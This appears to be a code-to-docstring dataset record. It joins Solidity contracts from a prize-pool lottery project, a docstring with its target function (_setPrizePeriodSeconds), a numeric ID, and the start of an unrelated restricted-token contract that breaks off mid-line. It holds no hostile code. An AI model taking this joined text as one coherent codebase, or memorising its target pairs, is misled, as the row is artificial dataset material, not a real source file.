prizePeriodStartedAt.add(elapsedPeriods.mul(prizePeriodSeconds)); } /// @notice Calculates when the next prize period will start /// @param currentTime The timestamp to use as the current time /// @return The timestamp at which the next prize period would start function calculateNextPrizePeriodStartTime(uint256 currentTime) external view returns (uint256) { return _calculateNextPrizePeriodStartTime(currentTime); } /// @notice Returns whether an award process can be started /// @return True if an award can be started, false otherwise. function canStartAward() external view returns (bool) { return _isPrizePeriodOver() && !isRngRequested(); } /// @notice Returns whether an award process can be completed /// @return True if an award can be completed, false otherwise. function canCompleteAward() external view returns (bool) { return isRngRequested() && isRngCompleted(); } /// @notice Returns whether a random number has been requested /// @return True if a random number has been requested, false otherwise. function isRngRequested() public view returns (bool) { return rngRequest.id != 0; } /// @notice Returns whether the random number request has completed. /// @return True if a random number request has completed, false otherwise. function isRngCompleted() public view returns (bool) { return rng.isRequestComplete(rngRequest.id); } /// @notice Returns the block number that the current RNG request has been locked to /// @return The block number that the RNG request is locked to function getLastRngLockBlock() external view returns (uint32) { return rngRequest.lockBlock; } /// @notice Returns the current RNG Request ID /// @return The current Request ID function getLastRngRequestId() external view returns (uint32) { return rngRequest.id; } /// @notice Sets the RNG service that the Prize Strategy is connected to /// @param rngService The address of the new RNG service interface function setRngService(RNGInterface rngService) external onlyOwner requireAwardNotInProgress { require(!isRngRequested(), "PeriodicPrizeStrategy/rng-in-flight"); rng = rngService; emit RngServiceUpdated(rngService); } /// @notice Allows the owner to set the RNG request timeout in seconds. This is the time that must elapsed before the RNG request can be cancelled and the pool unlocked. /// @param _rngRequestTimeout The RNG request timeout in seconds. function setRngRequestTimeout(uint32 _rngRequestTimeout) external onlyOwner requireAwardNotInProgress { _setRngRequestTimeout(_rngRequestTimeout); } /// @notice Sets the RNG request timeout in seconds. This is the time that must elapsed before the RNG request can be cancelled and the pool unlocked. /// @param _rngRequestTimeout The RNG request timeout in seconds. function _setRngRequestTimeout(uint32 _rngRequestTimeout) internal { require(_rngRequestTimeout > 60, "PeriodicPrizeStrategy/rng-timeout-gt-60-secs"); rngRequestTimeout = _rngRequestTimeout; emit RngRequestTimeoutSet(rngRequestTimeout); } /// @notice Allows the owner to set the prize period in seconds. /// @param _prizePeriodSeconds The new prize period in seconds. Must be greater than zero. function setPrizePeriodSeconds(uint256 _prizePeriodSeconds) external onlyOwner requireAwardNotInProgress { _setPrizePeriodSeconds(_prizePeriodSeconds); } /// @notice Sets the prize period in seconds. /// @param _prizePeriodSeconds The new prize period in seconds. Must be greater than zero. function _setPrizePeriodSeconds(uint256 _prizePeriodSeconds) internal { require(_prizePeriodSeconds > 0, "PeriodicPrizeStrategy/prize-period-greater-than-zero"); prizePeriodSeconds = _prizePeriodSeconds; emit PrizePeriodSecondsUpdated(prizePeriodSeconds); } /// @notice Gets the current list of External ERC20 tokens that will be awarded with the current prize /// @return An array of External ERC20 token addresses function getExternalErc20Awards() external view returns (address[] memory) { return externalErc20s.addressArray(); } /// @notice Adds an external ERC20 token type as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can assign external tokens, /// and they must be approved by the Prize-Pool /// @param _externalErc20 The address of an ERC20 token to be awarded function addExternalErc20Award(IERC20Upgradeable _externalErc20) external onlyOwnerOrListener requireAwardNotInProgress { _addExternalErc20Award(_externalErc20); } function _addExternalErc20Award(IERC20Upgradeable _externalErc20) internal { require(address(_externalErc20).isContract(), "PeriodicPrizeStrategy/erc20-null"); require(prizePool.canAwardExternal(address(_externalErc20)), "PeriodicPrizeStrategy/cannot-award-external"); (bool succeeded, bytes memory returnValue) = address(_externalErc20).staticcall(abi.encodeWithSignature("totalSupply()")); require(succeeded, "PeriodicPrizeStrategy/erc20-invalid"); externalErc20s.addAddress(address(_externalErc20)); emit ExternalErc20AwardAdded(_externalErc20); } function addExternalErc20Awards(IERC20Upgradeable[] calldata _externalErc20s) external onlyOwnerOrListener requireAwardNotInProgress { for (uint256 i = 0; i < _externalErc20s.length; i++) { _addExternalErc20Award(_externalErc20s[i]); } } /// @notice Removes an external ERC20 token type as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can remove external tokens /// @param _externalErc20 The address of an ERC20 token to be removed /// @param _prevExternalErc20 The address of the previous ERC20 token in the `externalErc20s` list. /// If the ERC20 is the first address, then the previous address is the SENTINEL address: 0x0000000000000000000000000000000000000001 function removeExternalErc20Award(IERC20Upgradeable _externalErc20, IERC20Upgradeable _prevExternalErc20) external onlyOwner requireAwardNotInProgress { externalErc20s.removeAddress(address(_prevExternalErc20), address(_externalErc20)); emit ExternalErc20AwardRemoved(_externalErc20); } /// @notice Gets the current list of External ERC721 tokens that will be awarded with the current prize /// @return An array of External ERC721 token addresses function getExternalErc721Awards() external view returns (address[] memory) { return externalErc721s.addressArray(); } /// @notice Gets the current list of External ERC721 tokens that will be awarded with the current prize /// @return An array of External ERC721 token addresses function getExternalErc721AwardTokenIds(IERC721Upgradeable _externalErc721) external view returns (uint256[] memory) { return externalErc721TokenIds[_externalErc721]; } /// @notice Adds an external ERC721 token as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can assign external tokens, /// and they must be approved by the Prize-Pool /// NOTE: The NFT must already be owned by the Prize-Pool /// @param _externalErc721 The address of an ERC721 token to be awarded /// @param _tokenIds An array of token IDs of the ERC721 to be awarded function addExternalErc721Award(IERC721Upgradeable _externalErc721, uint256[] calldata _tokenIds) external onlyOwnerOrListener requireAwardNotInProgress { require(prizePool.canAwardExternal(address(_externalErc721)), "PeriodicPrizeStrategy/cannot-award-external"); require(address(_externalErc721).supportsInterface(Constants.ERC165_INTERFACE_ID_ERC721), "PeriodicPrizeStrategy/erc721-invalid"); if (!externalErc721s.contains(address(_externalErc721))) { externalErc721s.addAddress(address(_externalErc721)); } for (uint256 i = 0; i < _tokenIds.length; i++) { _addExternalErc721Award(_externalErc721, _tokenIds[i]); } emit ExternalErc721AwardAdded(_externalErc721, _tokenIds); } function _addExternalErc721Award(IERC721Upgradeable _externalErc721, uint256 _tokenId) internal { require(IERC721Upgradeable(_externalErc721).ownerOf(_tokenId) == address(prizePool), "PeriodicPrizeStrategy/unavailable-token"); for (uint256 i = 0; i < externalErc721TokenIds[_externalErc721].length; i++) { if (externalErc721TokenIds[_externalErc721][i] == _tokenId) { revert("PeriodicPrizeStrategy/erc721-duplicate"); } } externalErc721TokenIds[_externalErc721].push(_tokenId); } /// @notice Removes an external ERC721 token as an additional prize that can be awarded /// @dev Only the Prize-Strategy owner/creator can remove external tokens /// @param _externalErc721 The address of an ERC721 token to be removed /// @param _prevExternalErc721 The address of the previous ERC721 token in the list. /// If no previous, then pass the SENTINEL address: 0x0000000000000000000000000000000000000001 function removeExternalErc721Award( IERC721Upgradeable _externalErc721, IERC721Upgradeable _prevExternalErc721 ) external onlyOwner requireAwardNotInProgress { externalErc721s.removeAddress(address(_prevExternalErc721), address(_externalErc721)); _removeExternalErc721AwardTokens(_externalErc721); } function _removeExternalErc721AwardTokens( IERC721Upgradeable _externalErc721 ) internal { delete externalErc721TokenIds[_externalErc721]; emit ExternalErc721AwardRemoved(_externalErc721); } function _requireAwardNotInProgress() internal view { uint256 currentBlock = _currentBlock(); require(rngRequest.lockBlock == 0 || currentBlock < rngRequest.lockBlock, "PeriodicPrizeStrategy/rng-in-flight"); } function isRngTimedOut() public view returns (bool) { if (rngRequest.requestedAt == 0) { return false; } else { return _currentTime() > uint256(rngRequestTimeout).add(rngRequest.requestedAt); } } modifier onlyOwnerOrListener() { require(_msgSender() == owner() || _msgSender() == address(periodicPrizeStrategyListener) || _msgSender() == address(beforeAwardListener), "PeriodicPrizeStrategy/only-owner-or-listener"); _; } modifier requireAwardNotInProgress() { _requireAwardNotInProgress(); _; } modifier requireCanStartAward() { require(_isPrizePeriodOver(), "PeriodicPrizeStrategy/prize-period-not-over"); require(!isRngRequested(), "PeriodicPrizeStrategy/rng-already-requested"); _; } modifier requireCanCompleteAward() { require(isRngRequested(), "PeriodicPrizeStrategy/rng-not-requested"); require(isRngCompleted(), "PeriodicPrizeStrategy/rng-not-complete"); _; } modifier onlyPrizePool() { require(_msgSender() == address(prizePool), "PeriodicPrizeStrategy/only-prize-pool"); _; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; /* solium-disable security/no-block-members */ interface PeriodicPrizeStrategyListenerInterface is IERC165Upgradeable { function afterPrizePoolAwarded(uint256 randomNumber, uint256 prizePeriodStartedAt) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.12; library PeriodicPrizeStrategyListenerLibrary { /* * bytes4(keccak256('afterPrizePoolAwarded(uint256,uint256)')) == 0x575072c6 */ bytes4 public constant ERC165_INTERFACE_ID_PERIODIC_PRIZE_STRATEGY_LISTENER = 0x575072c6; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "../PeriodicPrizeStrategy.sol"; contract MultipleWinners is PeriodicPrizeStrategy { uint256 internal __numberOfWinners; bool public splitExternalErc20Awards; event SplitExternalErc20AwardsSet(bool splitExternalErc20Awards); event NumberOfWinnersSet(uint256 numberOfWinners); event NoWinners(); function initializeMultipleWinners ( uint256 _prizePeriodStart, uint256 _prizePeriodSeconds, PrizePool _prizePool, TicketInterface _ticket, IERC20Upgradeable _sponsorship, RNGInterface _rng, uint256 _numberOfWinners ) public initializer { IERC20Upgradeable[] memory _externalErc20Awards; PeriodicPrizeStrategy.initialize( _prizePeriodStart, _prizePeriodSeconds, _prizePool, _ticket, _sponsorship, _rng, _externalErc20Awards ); _setNumberOfWinners(_numberOfWinners); } function setSplitExternalErc20Awards(bool _splitExternalErc20Awards) external onlyOwner requireAwardNotInProgress { splitExternalErc20Awards = _splitExternalErc20Awards; emit SplitExternalErc20AwardsSet(splitExternalErc20Awards); } function setNumberOfWinners(uint256 count) external onlyOwner requireAwardNotInProgress { _setNumberOfWinners(count); } function _setNumberOfWinners(uint256 count) internal { require(count > 0, "MultipleWinners/winners-gte-one"); __numberOfWinners = count; emit NumberOfWinnersSet(count); } function numberOfWinners() external view returns (uint256) { return __numberOfWinners; } function _distribute(uint256 randomNumber) internal override { uint256 prize = prizePool.captureAwardBalance(); // main winner is simply the first that is drawn address mainWinner = ticket.draw(randomNumber); // If drawing yields no winner, then there is no one to pick if (mainWinner == address(0)) { emit NoWinners(); return; } // main winner gets all external ERC721 tokens _awardExternalErc721s(mainWinner); address[] memory winners = new address[](__numberOfWinners); winners[0] = mainWinner; uint256 nextRandom = randomNumber; for (uint256 winnerCount = 1; winnerCount < __numberOfWinners; winnerCount++) { // add some arbitrary numbers to the previous random number to ensure no matches with the UniformRandomNumber lib bytes32 nextRandomHash = keccak256(abi.encodePacked(nextRandom + 499 + winnerCount*521)); nextRandom = uint256(nextRandomHash); winners[winnerCount] = ticket.draw(nextRandom); } // yield prize is split up among all winners uint256 prizeShare = prize.div(winners.length); if (prizeShare > 0) { for (uint i = 0; i < winners.length; i++) { _awardTickets(winners[i], prizeShare); } } if (splitExternalErc20Awards) { address currentToken = externalErc20s.start(); while (currentToken != address(0) && currentToken != externalErc20s.end()) { uint256 balance = IERC20Upgradeable(currentToken).balanceOf(address(prizePool)); uint256 split = balance.div(__numberOfWinners); if (split > 0) { for (uint256 i = 0; i < winners.length; i++) { prizePool.awardExternalERC20(winners[i], currentToken, split); } } currentToken = externalErc20s.next(currentToken); } } else { _awardExternalErc20s(mainWinner); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "./MultipleWinners.sol"; import "../../external/openzeppelin/ProxyFactory.sol"; /// @title Creates a minimal proxy to the MultipleWinners prize strategy. Very cheap to deploy. contract MultipleWinnersProxyFactory is ProxyFactory { MultipleWinners public instance; constructor () public { instance = new MultipleWinners(); } function create() external returns (MultipleWinners) { return MultipleWinners(deployMinimal(address(instance), "")); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Interface that allows a user to draw an address using an index interface RegistryInterface { function lookup() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Interface that allows a user to draw an address using an index interface ReserveInterface { function reserveRateMantissa(address prizePool) external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/drafts/ERC20PermitUpgradeable.sol"; import "./TokenControllerInterface.sol"; import "./ControlledTokenInterface.sol"; /// @title Controlled ERC20 Token /// @notice ERC20 Tokens with a controller for minting & burning contract ControlledToken is ERC20PermitUpgradeable, ControlledTokenInterface { /// @notice Interface to the contract responsible for controlling mint/burn TokenControllerInterface public override controller; /// @notice Initializes the Controlled Token with Token Details and the Controller /// @param _name The name of the Token /// @param _symbol The symbol for the Token /// @param _decimals The number of decimals for the Token /// @param _controller Address of the Controller contract for minting & burning function initialize( string memory _name, string memory _symbol, uint8 _decimals, TokenControllerInterface _controller ) public virtual initializer { __ERC20_init(_name, _symbol); __ERC20Permit_init("PoolTogether ControlledToken"); controller = _controller; _setupDecimals(_decimals); } /// @notice Allows the controller to mint tokens for a user account /// @dev May be overridden to provide more granular control over minting /// @param _user Address of the receiver of the minted tokens /// @param _amount Amount of tokens to mint function controllerMint(address _user, uint256 _amount) external virtual override onlyController { _mint(_user, _amount); } /// @notice Allows the controller to burn tokens from a user account /// @dev May be overridden to provide more granular control over burning /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurn(address _user, uint256 _amount) external virtual override onlyController { _burn(_user, _amount); } /// @notice Allows an operator via the controller to burn tokens on behalf of a user account /// @dev May be overridden to provide more granular control over operator-burning /// @param _operator Address of the operator performing the burn action via the controller contract /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurnFrom(address _operator, address _user, uint256 _amount) external virtual override onlyController { if (_operator != _user) { uint256 decreasedAllowance = allowance(_user, _operator).sub(_amount, "ControlledToken/exceeds-allowance"); _approve(_user, _operator, decreasedAllowance); } _burn(_user, _amount); } /// @dev Function modifier to ensure that the caller is the controller contract modifier onlyController { require(_msgSender() == address(controller), "ControlledToken/only-controller"); _; } /// @dev Controller hook to provide notifications & rule validations on token transfers to the controller. /// This includes minting and burning. /// May be overridden to provide more granular control over operator-burning /// @param from Address of the account sending the tokens (address(0x0) on minting) /// @param to Address of the account receiving the tokens (address(0x0) on burning) /// @param amount Amount of tokens being transferred function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { controller.beforeTokenTransfer(from, to, amount); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "./TokenControllerInterface.sol"; /// @title Controlled ERC20 Token /// @notice ERC20 Tokens with a controller for minting & burning interface ControlledTokenInterface is IERC20Upgradeable { /// @notice Interface to the contract responsible for controlling mint/burn function controller() external view returns (TokenControllerInterface); /// @notice Allows the controller to mint tokens for a user account /// @dev May be overridden to provide more granular control over minting /// @param _user Address of the receiver of the minted tokens /// @param _amount Amount of tokens to mint function controllerMint(address _user, uint256 _amount) external; /// @notice Allows the controller to burn tokens from a user account /// @dev May be overridden to provide more granular control over burning /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurn(address _user, uint256 _amount) external; /// @notice Allows an operator via the controller to burn tokens on behalf of a user account /// @dev May be overridden to provide more granular control over operator-burning /// @param _operator Address of the operator performing the burn action via the controller contract /// @param _user Address of the holder account to burn tokens from /// @param _amount Amount of tokens to burn function controllerBurnFrom(address _operator, address _user, uint256 _amount) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Interface that allows a user to draw an address using an index interface TicketInterface { /// @notice Selects a user using a random number. The random number will be uniformly bounded to the ticket totalSupply. /// @param randomNumber The random number to use to select a user. /// @return The winner function draw(uint256 randomNumber) external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; /// @title Controlled ERC20 Token Interface /// @notice Required interface for Controlled ERC20 Tokens linked to a Prize Pool /// @dev Defines the spec required to be implemented by a Controlled ERC20 Token interface TokenControllerInterface { /// @dev Controller hook to provide notifications & rule validations on token transfers to the controller. /// This includes minting and burning. /// @param from Address of the account sending the tokens (address(0x0) on minting) /// @param to Address of the account receiving the tokens (address(0x0) on burning) /// @param amount Amount of tokens being transferred function beforeTokenTransfer(address from, address to, uint256 amount) external; } pragma solidity ^0.6.4; import "./TokenListenerInterface.sol"; import "./TokenListenerLibrary.sol"; import "../Constants.sol"; abstract contract TokenListener is TokenListenerInterface { function supportsInterface(bytes4 interfaceId) external override view returns (bool) { return ( interfaceId == Constants.ERC165_INTERFACE_ID_ERC165 || interfaceId == TokenListenerLibrary.ERC165_INTERFACE_ID_TOKEN_LISTENER ); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0 <0.7.0; import "@openzeppelin/contracts-upgradeable/introspection/IERC165Upgradeable.sol"; /// @title An interface that allows a contract to listen to token mint, transfer and burn events. interface TokenListenerInterface is IERC165Upgradeable { /// @notice Called when tokens are minted. /// @param to The address of the receiver of the minted tokens. /// @param amount The amount of tokens being minted /// @param controlledToken The address of the token that is being minted /// @param referrer The address that referred the minting. function beforeTokenMint(address to, uint256 amount, address controlledToken, address referrer) external; /// @notice Called when tokens are transferred or burned. /// @param from The address of the sender of the token transfer /// @param to The address of the receiver of the token transfer. Will be the zero address if burning. /// @param amount The amount of tokens transferred /// @param controlledToken The address of the token that was transferred function beforeTokenTransfer(address from, address to, uint256 amount, address controlledToken) external; } pragma solidity ^0.6.12; library TokenListenerLibrary { /* * bytes4(keccak256('beforeTokenMint(address,uint256,address,address)')) == 0x4d7f3db0 * bytes4(keccak256('beforeTokenTransfer(address,address,uint256,address)')) == 0xb2210957 * * => 0x4d7f3db0 ^ 0xb2210957 == 0xff5e34e7 */ bytes4 public constant ERC165_INTERFACE_ID_TOKEN_LISTENER = 0xff5e34e7; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0 <0.7.0; /// @notice An efficient implementation of a singly linked list of addresses /// @dev A mapping(address => address) tracks the 'next' pointer. A special address called the SENTINEL is used to denote the beginning and end of the list. library MappedSinglyLinkedList { /// @notice The special value address used to denote the end of the list address public constant SENTINEL = address(0x1); /// @notice The data structure to use for the list. struct Mapping { uint256 count; mapping(address => address) addressMap; } /// @notice Initializes the list. /// @dev It is important that this is called so that the SENTINEL is correctly setup. function initialize(Mapping storage self) internal { require(self.count == 0, "Already init"); self.addressMap[SENTINEL] = SENTINEL; } function start(Mapping storage self) internal view returns (address) { return self.addressMap[SENTINEL]; } function next(Mapping storage self, address current) internal view returns (address) { return self.addressMap[current]; } function end(Mapping storage) internal pure returns (address) { return SENTINEL; } function addAddresses(Mapping storage self, address[] memory addresses) internal { for (uint256 i = 0; i < addresses.length; i++) { addAddress(self, addresses[i]); } } /// @notice Adds an address to the front of the list. /// @param self The Mapping struct that this function is attached to /// @param newAddress The address to shift to the front of the list function addAddress(Mapping storage self, address newAddress) internal { require(newAddress != SENTINEL && newAddress != address(0), "Invalid address"); require(self.addressMap[newAddress] == address(0), "Already added"); self.addressMap[newAddress] = self.addressMap[SENTINEL]; self.addressMap[SENTINEL] = newAddress; self.count = self.count + 1; } /// @notice Removes an address from the list /// @param self The Mapping struct that this function is attached to /// @param prevAddress The address that precedes the address to be removed. This may be the SENTINEL if at the start. /// @param addr The address to remove from the list. function removeAddress(Mapping storage self, address prevAddress, address addr) internal { require(addr != SENTINEL && addr != address(0), "Invalid address"); require(self.addressMap[prevAddress] == addr, "Invalid prevAddress"); self.addressMap[prevAddress] = self.addressMap[addr]; delete self.addressMap[addr]; self.count = self.count - 1; } /// @notice Determines whether the list contains the given address /// @param self The Mapping struct that this function is attached to /// @param addr The address to check /// @return True if the address is contained, false otherwise. function contains(Mapping storage self, address addr) internal view returns (bool) { return addr != SENTINEL && addr != address(0) && self.addressMap[addr] != address(0); } /// @notice Returns an address array of all the addresses in this list /// @dev Contains a for loop, so complexity is O(n) wrt the list size /// @param self The Mapping struct that this function is attached to /// @return An array of all the addresses function addressArray(Mapping storage self) internal view returns (address[] memory) { address[] memory array = new address[](self.count); uint256 count; address currentAddress = self.addressMap[SENTINEL]; while (currentAddress != address(0) && currentAddress != SENTINEL) { array[count] = currentAddress; currentAddress = self.addressMap[currentAddress]; count++; } return array; } /// @notice Removes every address from the list /// @param self The Mapping struct that this function is attached to function clearAll(Mapping storage self) internal { address currentAddress = self.addressMap[SENTINEL]; while (currentAddress != address(0) && currentAddress != SENTINEL) { address nextAddress = self.addressMap[currentAddress]; delete self.addressMap[currentAddress]; currentAddress = nextAddress; } self.addressMap[SENTINEL] = SENTINEL; self.count = 0; } }
Sets the prize period in seconds. _prizePeriodSeconds The new prize period in seconds. Must be greater than zero.
function _setPrizePeriodSeconds(uint256 _prizePeriodSeconds) internal { require(_prizePeriodSeconds > 0, "PeriodicPrizeStrategy/prize-period-greater-than-zero"); prizePeriodSeconds = _prizePeriodSeconds; emit PrizePeriodSecondsUpdated(prizePeriodSeconds); }
1,239,839
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol"; import "./ERC1404.sol"; import "./roles/OwnerRole.sol"; import "./capabilities/Proxiable.sol"; import "./capabilities/Burnable.sol"; import "./capabilities/Mintable.sol"; import "./capabilities/Pausable.sol"; import "./capabilities/Revocable.sol"; import "./capabilities/Blacklistable.sol"; import "./capabilities/Whitelistable.sol"; import "./capabilities/RevocableToAddress.sol"; /// @title Wrapped Token V1 Contract /// @notice The role based access controls allow the Owner accounts to determine which permissions are granted to admin /// accounts. Admin accounts can enable, disable, and configure the token restrictions built into the contract. /// @dev This contract implements the ERC1404 Interface to add transfer restrictions to a standard ERC20 token. contract WrappedTokenV1 is Proxiable, ERC20Upgradeable, ERC1404, OwnerRole, Whitelistable, Mintable, Burnable, Revocable, Pausable, Blacklistable, RevocableToAddress { AggregatorV3Interface public reserveFeed; // ERC1404 Error codes and messages uint8 public constant SUCCESS_CODE = 0; uint8 public constant FAILURE_NON_WHITELIST = 1; uint8 public constant FAILURE_PAUSED = 2; string public constant SUCCESS_MESSAGE = "SUCCESS"; string public constant FAILURE_NON_WHITELIST_MESSAGE = "The transfer was restricted due to white list configuration."; string public constant FAILURE_PAUSED_MESSAGE = "The transfer was restricted due to the contract being paused."; string public constant UNKNOWN_ERROR = "Unknown Error Code"; /// @notice The from/to account has been explicitly denied the ability to send/receive uint8 public constant FAILURE_BLACKLIST = 3; string public constant FAILURE_BLACKLIST_MESSAGE = "Restricted due to blacklist"; event OracleAddressUpdated(address newAddress); constructor( string memory name, string memory symbol, AggregatorV3Interface resFeed ) { initialize(msg.sender, name, symbol, 0, resFeed, true, false); } /// @notice This method can only be called once for a unique contract address /// @dev Initialization for the token to set readable details and mint all tokens to the specified owner /// @param owner Owner address for the contract /// @param name Token name identifier /// @param symbol Token symbol identifier /// @param initialSupply Amount minted to the owner /// @param resFeed oracle contract address /// @param whitelistEnabled A boolean flag that enables token transfers to be white listed /// @param flashMintEnabled A boolean flag that enables tokens to be flash minted function initialize( address owner, string memory name, string memory symbol, uint256 initialSupply, AggregatorV3Interface resFeed, bool whitelistEnabled, bool flashMintEnabled ) public initializer { reserveFeed = resFeed; ERC20Upgradeable.__ERC20_init(name, symbol); Mintable._mint(msg.sender, owner, initialSupply); OwnerRole._addOwner(owner); Mintable._setFlashMintEnabled(flashMintEnabled); Whitelistable._setWhitelistEnabled(whitelistEnabled); Mintable._setFlashMintFeeReceiver(owner); } /// @dev Public function to update the address of the code contract /// @param newAddress new implementation contract address function updateCodeAddress(address newAddress) external onlyOwner { Proxiable._updateCodeAddress(newAddress); } /// @dev Public function to update the address of the code oracle, retricted to owner /// @param resFeed oracle contract address function updateOracleAddress(AggregatorV3Interface resFeed) external onlyOwner { reserveFeed = resFeed; mint(msg.sender, 0); emit OracleAddressUpdated(address(reserveFeed)); } /// @notice If the function returns SUCCESS_CODE (0) then it should be allowed /// @dev Public function detects whether a transfer should be restricted and not allowed /// @param from The sender of a token transfer /// @param to The receiver of a token transfer /// function detectTransferRestriction( address from, address to, uint256 ) public view override returns (uint8) { // Restrictions are enabled, so verify the whitelist config allows the transfer. // Logic defined in Blacklistable parent class if (!checkBlacklistAllowed(from, to)) { return FAILURE_BLACKLIST; } // Check the paused status of the contract if (Pausable.paused()) { return FAILURE_PAUSED; } // If an owner transferring, then ignore whitelist restrictions if (OwnerRole.isOwner(from)) { return SUCCESS_CODE; } // Restrictions are enabled, so verify the whitelist config allows the transfer. // Logic defined in Whitelistable parent class if (!checkWhitelistAllowed(from, to)) { return FAILURE_NON_WHITELIST; } // If no restrictions were triggered return success return SUCCESS_CODE; } /// @notice It should return enough information for the user to know why it failed. /// @dev Public function allows a wallet or other client to get a human readable string to show a user if a transfer /// was restricted. /// @param restrictionCode The sender of a token transfer function messageForTransferRestriction(uint8 restrictionCode) public pure override returns (string memory) { if (restrictionCode == FAILURE_BLACKLIST) { return FAILURE_BLACKLIST_MESSAGE; } if (restrictionCode == SUCCESS_CODE) { return SUCCESS_MESSAGE; } if (restrictionCode == FAILURE_NON_WHITELIST) { return FAILURE_NON_WHITELIST_MESSAGE; } if (restrictionCode == FAILURE_PAUSED) { return FAILURE_PAUSED_MESSAGE; } // An unknown error code was passed in. return UNKNOWN_ERROR; } /// @dev Modifier that evaluates whether a transfer should be allowed or not /// @param from The sender of a token transfer /// @param to The receiver of a token transfer /// @param value Quantity of tokens being exchanged between the sender and receiver modifier notRestricted( address from, address to, uint256 value ) { uint8 restrictionCode = detectTransferRestriction(from, to, value); require( restrictionCode == SUCCESS_CODE, messageForTransferRestriction(restrictionCode) ); _; } /// @dev Public function that overrides the parent class token transfer function to enforce restrictions /// @param to Receiver of the token transfer /// @param value Amount of tokens to transfer /// @return success Status of the transfer function transfer(address to, uint256 value) public override notRestricted(msg.sender, to, value) returns (bool success) { success = ERC20Upgradeable.transfer(to, value); } /// @dev Public function that overrides the parent class token transferFrom function to enforce restrictions /// @param from Sender of the token transfer /// @param to Receiver of the token transfer /// @param value Amount of tokens to transfer /// @return success Status of the transfer function transferFrom( address from, address to, uint256 value ) public override notRestricted(from, to, value) returns (bool success) { success = ERC20Upgradeable.transferFrom(from, to, value); } /// @dev Public function to recover all ether sent to this contract to an owner address function withdraw() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } /// @dev Public function to recover all tokens sent to this contract to an owner address /// @param token ERC20 that has a balance for this contract address /// @return success Status of the transfer function recover(IERC20Upgradeable token) external onlyOwner returns (bool success) { success = token.transfer(msg.sender, token.balanceOf(address(this))); } /// @dev Allow Owners to mint tokens to valid addresses /// @param account The account tokens will be added to /// @param amount The number of tokens to add to a balance function mint(address account, uint256 amount) public override onlyMinter returns (bool) { uint256 total = amount + ERC20Upgradeable.totalSupply(); (, int256 answer, , , ) = reserveFeed.latestRoundData(); uint256 decimals = ERC20Upgradeable.decimals(); uint256 reserveFeedDecimals = reserveFeed.decimals(); require(decimals >= reserveFeedDecimals, "invalid price feed decimals"); require( (answer > 0) && (uint256(answer) * 10**uint256(decimals - reserveFeedDecimals) > total), "reserve must exceed the total supply" ); return Mintable.mint(account, amount); } /// @dev Overrides the parent hook which is called ahead of `transfer` every time that method is called /// @param from Sender of the token transfer /// @param amount Amount of token being transferred function _beforeTokenTransfer( address from, address, uint256 amount ) internal view override { if (from != address(0)) { return; } require( ERC20FlashMintUpgradeable.maxFlashLoan(address(this)) > amount, "mint exceeds max allowed" ); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title WhitelisterRole Contract /// @notice Only administrators can update the white lister roles /// @dev Keeps track of white listers and can check if an account is authorized contract WhitelisterRole is OwnerRole { event WhitelisterAdded( address indexed addedWhitelister, address indexed addedBy ); event WhitelisterRemoved( address indexed removedWhitelister, address indexed removedBy ); Role private _whitelisters; /// @dev Modifier to make a function callable only when the caller is a white lister modifier onlyWhitelister() { require( isWhitelister(msg.sender), "WhitelisterRole: caller does not have the Whitelister role" ); _; } /// @dev Public function returns `true` if `account` has been granted a white lister role function isWhitelister(address account) public view returns (bool) { return _has(_whitelisters, account); } /// @notice Only administrators should be allowed to update this /// @dev Adds an address as a white lister /// @param account The address that is guaranteed white lister authorization function _addWhitelister(address account) internal { _add(_whitelisters, account); emit WhitelisterAdded(account, msg.sender); } /// @notice Only administrators should be allowed to update this /// @dev Removes an account from being a white lister /// @param account The address removed as a white lister function _removeWhitelister(address account) internal { _remove(_whitelisters, account); emit WhitelisterRemoved(account, msg.sender); } /// @dev Public function that adds an address as a white lister /// @param account The address that is guaranteed white lister authorization function addWhitelister(address account) external onlyOwner { _addWhitelister(account); } /// @dev Public function that removes an account from being a white lister /// @param account The address removed as a white lister function removeWhitelister(address account) external onlyOwner { _removeWhitelister(account); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./OwnerRole.sol"; /// @title RevokerRole Contract /// @notice Only administrators can update the revoker roles /// @dev Keeps track of revokers and can check if an account is authorized contract RevokerRole is OwnerRole { event RevokerAdded(address indexed addedRevoker, address indexed addedBy); event RevokerRemoved( address indexed removedRevoker, address indexed removedBy ); Role private _revokers; /// @dev Modifier to make a function callable only when the caller is a revoker modifier onlyRevoker() { require( isRevoker(msg.sender), "RevokerRole: 